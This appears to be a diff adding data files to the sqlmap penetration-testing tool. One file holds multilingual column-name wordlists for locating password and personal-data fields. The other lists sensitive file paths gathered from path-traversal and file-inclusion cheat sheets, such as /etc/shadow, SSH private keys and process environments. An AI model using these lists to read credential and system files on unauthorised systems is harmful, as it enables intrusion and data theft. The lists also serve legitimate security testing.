+# site:id
+
+ajar
+akses
+aktif
+akun
+alamat
+batas
+cabang
+deskripsi
+foto
+harga
+hp
+jeda
+jenis
+jml
+judul
+jumlah
+kata_kunci
+kata_sandi
+katakunci
+katasandi
+kategori
+kelas
+keterangan
+kode
+kunci
+lahir
+nama
+nama_akun
+nama_ibu_kandung
+nama_pengguna
+namaakun
+namapengguna
+pekerjaan
+pendidikan
+pengguna
+penjelasan
+perusahaan
+ponsel
+profesi
+ruang
+sandi
+soal
+surat_elektronik
+surel
+tanggal
+tanggal_lahir
+telepon
+tempat
+tempat_lahir
+tmp_lahir
+universitas
+urut
+waktu
+
+# WebGoat
+
+cookie
+login_count
+
+# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
+
+credit
+card
+pin
+cvv
+pan
+password
+social
+ssn
+account
+confidential
+
+# site:nl
+
+naam
+straat
+gemeente
+beschrijving
+id_gebruiker
+gebruiker_id
+gebruikersnaam
+wachtwoord
+telefoon
+voornaam
+achternaam
+geslacht
+huisnummer
+gemeente
+leeftijd
+
+# site:cn
+
+yonghuming
+mima
+xingming
+xingbie
+touxiang
+youxiang
+shouji
+
+# Misc
+
+u_pass
+hashedPw
+
+# password (international)
+
+adgangskode
+aikotoba
+amho
+bimilbeonho
+codewort
+contrasena
+contrasenya
+contrasinal
+esmeramz
+facalfare
+fjalekalim
+focalfaire
+gagtnabar
+geslo
+gozarvazhe
+gunho
+haslo
+heslo
+hudyat
+igamalokungena
+iphasiwedi
+javka
+jelszo
+kadavucol
+kalameobur
+kalimatumurur
+kalimatusirr
+kalmarsirri
+katalaluan
+katasandi
+kennwort
+kodeord
+kodikos
+kouling
+kupiasoz
+kupuhipa
+kupukaranga
+kupuuru
+kupuwhakahipa
+losen
+losenord
+lozinka
+lykilord
+matkhau
+mima
+nenosiri
+nywila
+okwuntughe
+oroasina
+oroigbaniwole
+paeseuwodeu
+parol
+parola
+parolachiave
+paroladordine
+parole
+paroli
+parolja
+parool
+parulle
+pasahitza
+pasfhocal
+pasowardo
+passord
+passwort
+pasuwado
+pasvorto
+rahatphan
+ramzobur
+salasana
+salasona
+santoysena
+senha
+sifra
+sifre
+sisma
+slaptazodis
+synthimatiko
+tunnussana
+wachtwoord
+wachtwurd
+wagwoord
diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt
new file mode 100644
index 00000000000..d64015805e8
--- /dev/null
+++ b/data/txt/common-files.txt
@@ -0,0 +1,1809 @@
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+# CTFs
+
+/flag
+/flag.txt
+/readflag
+
+# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
+
+/apache/logs/access.log
+/apache/logs/error.log
+/bin/php.ini
+/etc/alias
+/etc/apache2/apache.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache2/httpd.conf
+/etc/apache/conf/httpd.conf
+/etc/bash.bashrc
+/etc/chttp.conf
+/etc/crontab
+/etc/crypttab
+/etc/debian_version
+/etc/exports
+/etc/fedora-release
+/etc/fstab
+/etc/ftphosts
+/etc/ftpusers
+/etc/group
+/etc/group-
+/etc/hosts
+/etc/http/conf/httpd.conf
+/etc/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/acces_log
+/etc/httpd/logs/acces.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/error_log
+/etc/httpd/logs/error.log
+/etc/httpd/php.ini
+/etc/http/httpd.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/issue
+/etc/issue.net
+/etc/lighttpd.conf
+/etc/login.defs
+/etc/mandrake-release
+/etc/motd
+/etc/mtab
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/openldap/ldap.conf
+/etc/os-release
+/etc/pam.conf
+/etc/passwd
+/etc/passwd-
+/etc/password.master
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache2/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php.ini
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.conf
+/etc/protpd/proftpd.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/redhat-release
+/etc/resolv.conf
+/etc/samba/smb.conf
+/etc/security/environ
+/etc/security/group
+/etc/security/limits
+/etc/security/passwd
+/etc/security/user
+/etc/shadow
+/etc/shadow-
+/etc/slackware-release
+/etc/sudoers
+/etc/SUSE-release
+/etc/sysctl.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/logs/access.log
+/logs/error.log
+/opt/apache2/conf/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/xampp/etc/php.ini
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.default
+/root/.bash_history
+/root/.ssh/id_rsa
+/root/.ssh/id_rsa.pub
+/root/.ssh/known_hosts
+/tmp/access.log
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/httpd.conf
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache/conf/httpd.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/httpd.conf
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/error_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error. og
+/usr/local/apps/apache2/conf/httpd.conf
+/usr/local/apps/apache/conf/httpd.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/vhosts.conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/httpd/conf/httpd.conf
+/usr/local/lib/php.ini
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/Zend/etc/php.ini
+/usr/sbin/pure-config.pl
+/var/cpanel/cpanel.config
+/var/lib/mysql/my.cnf
+/var/local/www/conf/php.ini
+/var/log/access_log
+/var/log/access.log
+/var/log/apache2/access_log
+/var/log/apache2/access.log
+/var/log/apache2/error_log
+/var/log/apache2/error.log
+/var/log/apache/access_log
+/var/log/apache/access.log
+/var/log/apache/error_log
+/var/log/apache/error.log
+/var/log/error_log
+/var/log/error.log
+/var/log/httpd/access_log
+/var/log/httpd/access.log
+/var/log/httpd/error_log
+/var/log/httpd/error.log
+/var/log/messages
+/var/log/messages.1
+/var/log/user.log
+/var/log/user.log.1
+/var/www/conf/httpd.conf
+/var/www/html/index.html
+/var/www/logs/access_log
+/var/www/logs/access.log
+/var/www/logs/error_log
+/var/www/logs/error.log
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+/web/conf/php.ini
+
+# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py
+
+/var/log/mysqld.log
+/var/www/index.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
+
+/var/www/index.php
+/usr/local/apache/index.php
+/usr/local/apache2/index.php
+/usr/local/www/apache22/index.php
+/usr/local/www/apache24/index.php
+/usr/local/httpd/index.php
+/var/www/nginx-default/index.php
+/srv/www/index.php
+
+/var/www/config.php
+/usr/local/apache/config.php
+/usr/local/apache2/config.php
+/usr/local/www/apache22/config.php
+/usr/local/www/apache24/config.php
+/usr/local/httpd/config.php
+/var/www/nginx-default/config.php
+/srv/www/config.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
+
+/srv/www/htdocs/index.php
+/usr/local/apache2/htdocs/index.php
+/usr/local/www/data/index.php
+/var/apache2/htdocs/index.php
+/var/www/htdocs/index.php
+/var/www/html/index.php
+
+/srv/www/htdocs/config.php
+/usr/local/apache2/htdocs/config.php
+/usr/local/www/data/config.php
+/var/apache2/htdocs/config.php
+/var/www/htdocs/config.php
+/var/www/html/config.php
+
+# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
+
+/etc/passwd
+/etc/shadow
+/etc/aliases
+/etc/anacrontab
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/at.allow
+/etc/at.deny
+/etc/bashrc
+/etc/bootptab
+/etc/chrootUsers
+/etc/chttp.conf
+/etc/cron.allow
+/etc/cron.deny
+/etc/crontab
+/etc/cups/cupsd.conf
+/etc/exports
+/etc/fstab
+/etc/ftpaccess
+/etc/ftpchroot
+/etc/ftphosts
+/etc/groups
+/etc/grub.conf
+/etc/hosts
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/httpd/access.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/access_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/error_log
+/etc/httpd/logs/error.log
+/etc/httpd/php.ini
+/etc/httpd/srm.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/issue
+/etc/lighttpd.conf
+/etc/lilo.conf
+/etc/logrotate.d/ftp
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/vsftpd.log
+/etc/lsb-release
+/etc/motd
+/etc/modules.conf
+/etc/motd
+/etc/mtab
+/etc/my.cnf
+/etc/my.conf
+/etc/mysql/my.cnf
+/etc/network/interfaces
+/etc/networks
+/etc/npasswd
+/etc/passwd
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/cgi/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php/apache2/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php.ini
+/etc/printcap
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/proftpd.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/putreftpd.pdb
+/etc/redhat-release
+/etc/resolv.conf
+/etc/samba/smb.conf
+/etc/snmpd.conf
+/etc/ssh/ssh_config
+/etc/ssh/sshd_config
+/etc/ssh/ssh_host_dsa_key
+/etc/ssh/ssh_host_dsa_key.pub
+/etc/ssh/ssh_host_key
+/etc/ssh/ssh_host_key.pub
+/etc/sysconfig/network
+/etc/syslog.conf
+/etc/termcap
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/logs/pure-ftpd.log
+/logs/security_debug_log
+/logs/security_log
+/opt/lampp/etc/httpd.conf
+/opt/xampp/etc/php.ini
+/proc/cpuinfo
+/proc/filesystems
+/proc/interrupts
+/proc/ioports
+/proc/meminfo
+/proc/modules
+/proc/mounts
+/proc/stat
+/proc/swaps
+/proc/version
+/proc/self/net/arp
+/root/anaconda-ks.cfg
+/usr/etc/pure-ftpd.conf
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/log
+/usr/local/apache/logs
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/audit_log
+/usr/local/apache/error_log
+/usr/local/apache/error.log
+/usr/local/cpanel/logs
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/etc/httpd/logs/access_log
+/usr/local/etc/httpd/logs/error_log
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/lib/php.ini
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.ini
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdn
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/www/logs/httpd_log
+/usr/local/Zend/etc/php.ini
+/usr/sbin/pure-config.pl
+/var/adm/log/xferlog
+/var/apache2/config.inc
+/var/apache/logs/access_log
+/var/apache/logs/error_log
+/var/cpanel/cpanel.config
+/var/lib/mysql/my.cnf
+/var/lib/mysql/mysql/user.MYD
+/var/local/www/conf/php.ini
+/var/log/apache2/access_log
+/var/log/apache2/access.log
+/var/log/apache2/error_log
+/var/log/apache2/error.log
+/var/log/apache/access_log
+/var/log/apache/access.log
+/var/log/apache/error_log
+/var/log/apache/error.log
+/var/log/apache-ssl/access.log
+/var/log/apache-ssl/error.log
+/var/log/auth.log
+/var/log/boot
+/var/htmp
+/var/log/chttp.log
+/var/log/cups/error.log
+/var/log/daemon.log
+/var/log/debug
+/var/log/dmesg
+/var/log/dpkg.log
+/var/log/exim_mainlog
+/var/log/exim/mainlog
+/var/log/exim_paniclog
+/var/log/exim.paniclog
+/var/log/exim_rejectlog
+/var/log/exim/rejectlog
+/var/log/faillog
+/var/log/ftplog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/httpd/access_log
+/var/log/httpd/access.log
+/var/log/httpd/error_log
+/var/log/httpd/error.log
+/var/log/httpsd/ssl.access_log
+/var/log/httpsd/ssl_log
+/var/log/kern.log
+/var/log/lastlog
+/var/log/lighttpd/access.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/lighttpd.access.log
+/var/log/lighttpd/lighttpd.error.log
+/var/log/mail.info
+/var/log/mail.log
+/var/log/maillog
+/var/log/mail.warn
+/var/log/message
+/var/log/messages
+/var/log/mysqlderror.log
+/var/log/mysql.log
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql.log
+/var/log/mysql/mysql-slow.log
+/var/log/proftpd
+/var/log/pureftpd.log
+/var/log/pure-ftpd/pure-ftpd.log
+/var/log/secure
+/var/log/vsftpd.log
+/var/log/wtmp
+/var/log/xferlog
+/var/log/yum.log
+/var/mysql.log
+/var/run/utmp
+/var/spool/cron/crontabs/root
+/var/webmin/miniserv.log
+/var/www/log/access_log
+/var/www/log/error_log
+/var/www/logs/access_log
+/var/www/logs/error_log
+/var/www/logs/access.log
+/var/www/logs/error.log
+
+# Reference: https://nets.ec/File_Inclusion
+
+/etc/passwd
+/etc/master.passwd
+/etc/shadow
+/var/db/shadow/hash
+/etc/group
+/etc/hosts
+/etc/motd
+/etc/issue
+/etc/release
+/etc/redhat-release
+/etc/crontab
+/etc/inittab
+/proc/version
+/proc/cmdline
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/2
+/proc/self/fd/255
+/etc/httpd.conf
+/etc/apache2.conf
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-available/default
+/etc/nginx.conf
+/etc/nginx/nginx.conf
+/etc/nginx/sites-available/default
+/etc/nginx/sites-enabled/default
+/etc/ssh/sshd_config
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/php.ini
+/var/mail/www-data
+/var/mail/www
+/var/mail/apache
+/var/mail/nobody
+/var/www/.bash_history
+/root/.bash_history
+/var/root/.bash_history
+/var/root/.sh_history
+/etc/passwd
+/etc/master.passwd
+/etc/shadow
+/var/db/shadow/hash
+/etc/group
+/etc/hosts
+/etc/motd
+/etc/issue
+/etc/release
+/etc/redhat-release
+/etc/crontab
+/etc/inittab
+/proc/version
+/proc/cmdline
+/proc/self/environ
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/2
+/proc/self/fd/255
+/etc/httpd.conf
+/etc/apache2.conf
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/httpd.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-available/default
+/etc/nginx.conf
+/etc/nginx/nginx.conf
+/etc/nginx/sites-available/default
+/etc/nginx/sites-enabled/default
+/etc/ssh/sshd_config
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/php.ini
+/var/mail/www-data
+/var/mail/www
+/var/mail/apache
+/var/mail/nobody
+/var/www/.bash_history
+/root/.bash_history
+/var/root/.bash_history
+/var/root/.sh_history
+/usr/local/apache/httpd.conf
+/usr/local/apache2/httpd.conf
+/usr/local/httpd/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/etc/http/conf/httpd.conf
+/etc/http/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/apache2/conf/httpd.conf
+/var/www/conf/httpd.conf
+/usr/local/php/httpd.conf
+/usr/local/php4/httpd.conf
+/usr/local/php5/httpd.conf
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/php.ini
+/etc/php/php4/php.ini
+/etc/php/apache/php.ini
+/etc/php/apache2/php.ini
+/usr/local/Zend/etc/php.ini
+/opt/xampp/etc/php.ini
+/var/local/www/conf/php.ini
+/etc/php/cgi/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/cgi/php.ini
+/var/log/lastlog
+/var/log/wtmp
+/var/run/utmp
+/var/log/messages.log
+/var/log/messages
+/var/log/messages.0
+/var/log/messages.1
+/var/log/messages.2
+/var/log/messages.3
+/var/log/syslog.log
+/var/log/syslog
+/var/log/syslog.0
+/var/log/syslog.1
+/var/log/syslog.2
+/var/log/syslog.3
+/var/log/auth.log
+/var/log/auth.log.0
+/var/log/auth.log.1
+/var/log/auth.log.2
+/var/log/auth.log.3
+/var/log/authlog
+/var/log/syslog
+/var/adm/lastlog
+/var/adm/messages
+/var/adm/messages.0
+/var/adm/messages.1
+/var/adm/messages.2
+/var/adm/messages.3
+/var/adm/utmpx
+/var/adm/wtmpx
+/var/log/kernel.log
+/var/log/secure.log
+/var/log/mail.log
+/var/run/utmp
+/var/log/wtmp
+/var/log/lastlog
+/var/log/access.log
+/var/log/access_log
+/var/log/error.log
+/var/log/error_log
+/var/log/apache2/access.log
+/var/log/apache2/access_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache/access.log
+/var/log/apache/access_log
+/var/log/apache/error.log
+/var/log/apache/error_log
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/httpd/error_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/error.log
+/etc/httpd/logs/error_log
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error_log
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache2/logs/error_log
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error.log
+/opt/lampp/logs/error_log
+/opt/xampp/logs/access.log
+/opt/xampp/logs/access_log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+
+# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data
+
+/.htaccess
+/.htpasswd
+/access.log
+/access_log
+/apache/conf/httpd.conf
+/apache/logs/access.log
+/apache/logs/error.log
+/apache/php/php.ini
+/apache2/logs/access.log
+/apache2/logs/error.log
+/bin/php.ini
+/boot.ini
+/boot/grub/grub.cfg
+/boot/grub/menu.lst
+/config.inc.php
+/error.log
+/error_log
+/etc/adduser.conf
+/etc/alias
+/etc/apache/access.conf
+/etc/apache/apache.conf
+/etc/apache/conf/httpd.conf
+/etc/apache/default-server.conf
+/etc/apache/httpd.conf
+/etc/apache2/apache.conf
+/etc/apache2/apache2.conf
+/etc/apache2/conf.d/charset
+/etc/apache2/conf.d/phpmyadmin.conf
+/etc/apache2/conf.d/security
+/etc/apache2/conf/httpd.conf
+/etc/apache2/default-server.conf
+/etc/apache2/envvars
+/etc/apache2/httpd.conf
+/etc/apache2/httpd2.conf
+/etc/apache2/mods-available/autoindex.conf
+/etc/apache2/mods-available/deflate.conf
+/etc/apache2/mods-available/dir.conf
+/etc/apache2/mods-available/mem_cache.conf
+/etc/apache2/mods-available/mime.conf
+/etc/apache2/mods-available/proxy.conf
+/etc/apache2/mods-available/setenvif.conf
+/etc/apache2/mods-available/ssl.conf
+/etc/apache2/mods-enabled/alias.conf
+/etc/apache2/mods-enabled/deflate.conf
+/etc/apache2/mods-enabled/dir.conf
+/etc/apache2/mods-enabled/mime.conf
+/etc/apache2/mods-enabled/negotiation.conf
+/etc/apache2/mods-enabled/php5.conf
+/etc/apache2/mods-enabled/status.conf
+/etc/apache2/ports.conf
+/etc/apache2/sites-available/default
+/etc/apache2/sites-available/default-ssl
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-enabled/default
+/etc/apache2/ssl-global.conf
+/etc/apache2/vhosts.d/00_default_vhost.conf
+/etc/apache2/vhosts.d/default_vhost.include
+/etc/apache22/conf/httpd.conf
+/etc/apache22/httpd.conf
+/etc/apt/apt.conf
+/etc/avahi/avahi-daemon.conf
+/etc/bash.bashrc
+/etc/bash_completion.d/debconf
+/etc/bluetooth/input.conf
+/etc/bluetooth/main.conf
+/etc/bluetooth/network.conf
+/etc/bluetooth/rfcomm.conf
+/etc/ca-certificates.conf
+/etc/ca-certificates.conf.dpkg-old
+/etc/casper.conf
+/etc/chkrootkit.conf
+/etc/chrootusers
+/etc/clamav/clamd.conf
+/etc/clamav/freshclam.conf
+/etc/crontab
+/etc/crypttab
+/etc/cups/acroread.conf
+/etc/cups/cupsd.conf
+/etc/cups/cupsd.conf.default
+/etc/cups/pdftops.conf
+/etc/cups/printers.conf
+/etc/cvs-cron.conf
+/etc/cvs-pserver.conf
+/etc/debconf.conf
+/etc/debian_version
+/etc/default/grub
+/etc/deluser.conf
+/etc/dhcp/dhclient.conf
+/etc/dhcp3/dhclient.conf
+/etc/dhcp3/dhcpd.conf
+/etc/dns2tcpd.conf
+/etc/e2fsck.conf
+/etc/esound/esd.conf
+/etc/etter.conf
+/etc/exports
+/etc/fedora-release
+/etc/firewall.rules
+/etc/foremost.conf
+/etc/fstab
+/etc/ftpchroot
+/etc/ftphosts
+/etc/ftpusers
+/etc/fuse.conf
+/etc/group
+/etc/group-
+/etc/hdparm.conf
+/etc/host.conf
+/etc/hostname
+/etc/hosts
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/http/conf/httpd.conf
+/etc/http/httpd.conf
+/etc/httpd.conf
+/etc/httpd/apache.conf
+/etc/httpd/apache2.conf
+/etc/httpd/conf
+/etc/httpd/conf.d
+/etc/httpd/conf.d/php.conf
+/etc/httpd/conf.d/squirrelmail.conf
+/etc/httpd/conf/apache.conf
+/etc/httpd/conf/apache2.conf
+/etc/httpd/conf/httpd.conf
+/etc/httpd/extra/httpd-ssl.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/error.log
+/etc/httpd/logs/error_log
+/etc/httpd/mod_php.conf
+/etc/httpd/php.ini
+/etc/inetd.conf
+/etc/init.d
+/etc/inittab
+/etc/ipfw.conf
+/etc/ipfw.rules
+/etc/issue
+/etc/issue
+/etc/issue.net
+/etc/kbd/config
+/etc/kernel-img.conf
+/etc/kernel-pkg.conf
+/etc/ld.so.conf
+/etc/ldap/ldap.conf
+/etc/lighttpd/lighthttpd.conf
+/etc/login.defs
+/etc/logrotate.conf
+/etc/logrotate.d/ftp
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/vsftpd.log
+/etc/ltrace.conf
+/etc/mail/sendmail.conf
+/etc/mandrake-release
+/etc/manpath.config
+/etc/miredo-server.conf
+/etc/miredo.conf
+/etc/miredo/miredo-server.conf
+/etc/miredo/miredo.conf
+/etc/modprobe.d/vmware-tools.conf
+/etc/modules
+/etc/mono/1.0/machine.config
+/etc/mono/2.0/machine.config
+/etc/mono/2.0/web.config
+/etc/mono/config
+/etc/motd
+/etc/motd
+/etc/mtab
+/etc/mtools.conf
+/etc/muddleftpd.com
+/etc/muddleftpd/muddleftpd.conf
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/mudlog
+/etc/muddleftpd/mudlogd.conf
+/etc/muddleftpd/passwd
+/etc/my.cnf
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/mysql/my.cnf
+/etc/networks
+/etc/newsyslog.conf
+/etc/nginx/nginx.conf
+/etc/openldap/ldap.conf
+/etc/os-release
+/etc/osxhttpd/osxhttpd.conf
+/etc/pam.conf
+/etc/pam.d/proftpd
+/etc/passwd
+/etc/passwd
+/etc/passwd-
+/etc/passwd~
+/etc/password.master
+/etc/php.ini
+/etc/php/apache/php.ini
+/etc/php/apache2/php.ini
+/etc/php/cgi/php.ini
+/etc/php/php.ini
+/etc/php/php4/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/cgi/php.ini
+/etc/phpmyadmin/config.inc.php
+/etc/postgresql/pg_hba.conf
+/etc/postgresql/postgresql.conf
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.conf
+/etc/protpd/proftpd.conf
+/etc/pulse/client.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/rc.conf
+/etc/rc.d/rc.httpd
+/etc/redhat-release
+/etc/resolv.conf
+/etc/resolvconf/update-libc.d/sendmail
+/etc/samba/dhcp.conf
+/etc/samba/netlogon
+/etc/samba/private/smbpasswd
+/etc/samba/samba.conf
+/etc/samba/smb.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/etc/security/access.conf
+/etc/security/environ
+/etc/security/failedlogin
+/etc/security/group
+/etc/security/group.conf
+/etc/security/lastlog
+/etc/security/limits
+/etc/security/limits.conf
+/etc/security/namespace.conf
+/etc/security/opasswd
+/etc/security/pam_env.conf
+/etc/security/passwd
+/etc/security/sepermit.conf
+/etc/security/time.conf
+/etc/security/user
+/etc/sensors.conf
+/etc/sensors3.conf
+/etc/shadow
+/etc/shadow-
+/etc/shadow~
+/etc/slackware-release
+/etc/smb.conf
+/etc/smbpasswd
+/etc/smi.conf
+/etc/squirrelmail/apache.conf
+/etc/squirrelmail/config.php
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config_default.php
+/etc/squirrelmail/config_local.php
+/etc/squirrelmail/default_pref
+/etc/squirrelmail/filters_setup.php
+/etc/squirrelmail/index.php
+/etc/squirrelmail/sqspell_config.php
+/etc/ssh/sshd_config
+/etc/sso/sso_config.ini
+/etc/stunnel/stunnel.conf
+/etc/subversion/config
+/etc/sudoers
+/etc/suse-release
+/etc/sw-cp-server/applications.d/00-sso-cpserver.conf
+/etc/sw-cp-server/applications.d/plesk.conf
